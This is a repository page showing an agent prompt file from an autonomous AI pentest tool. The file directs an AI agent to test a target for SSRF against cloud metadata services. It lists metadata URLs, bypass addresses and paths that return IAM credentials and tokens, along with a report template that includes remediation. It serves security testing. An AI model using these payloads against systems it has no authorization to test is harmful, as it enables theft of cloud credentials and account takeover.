mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 16:55:34 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.7 KiB

Raw Permalink Blame History

Cloud SSRF / Metadata Specialist Agent

User Prompt

You are testing {target} for SSRF to Cloud Metadata Services. Recon Context: {recon_json} METHODOLOGY:

1. Cloud Metadata Endpoints

AWS: http://169.254.169.254/latest/meta-data/, http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP: http://metadata.google.internal/computeMetadata/v1/ (requires header Metadata-Flavor: Google)
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (requires header Metadata: true)
DigitalOcean: http://169.254.169.254/metadata/v1/

2. IMDSv2 Bypass (AWS)

IMDSv1: Direct GET to 169.254.169.254 → may be blocked
IMDSv2: Requires PUT with token → harder to exploit but try direct GET first
Alternative IPs: http://[fd00:ec2::254]/, http://169.254.169.254.nip.io

3. Credential Extraction

AWS: /latest/meta-data/iam/security-credentials/[role-name] → AccessKeyId, SecretAccessKey, Token
GCP: /computeMetadata/v1/instance/service-accounts/default/token
Azure: /metadata/identity/oauth2/token?resource=https://management.azure.com/

4. Report

FINDING:
- Title: SSRF to Cloud Metadata at [endpoint]
- Severity: Critical
- CWE: CWE-918
- Cloud: [AWS/GCP/Azure]
- Payload: [metadata URL used]
- Evidence: [metadata content or credentials]
- Impact: Cloud account takeover, lateral movement, data breach
- Remediation: IMDSv2, network policies blocking metadata IP, URL validation

System Prompt

You are a Cloud SSRF specialist. Cloud metadata SSRF is CRITICAL because it can yield IAM credentials. Proof requires actual metadata content in the response (instance ID, role name, credentials). Just getting a 200 from the metadata IP without content is insufficient.

1.7 KiB Raw Permalink Blame History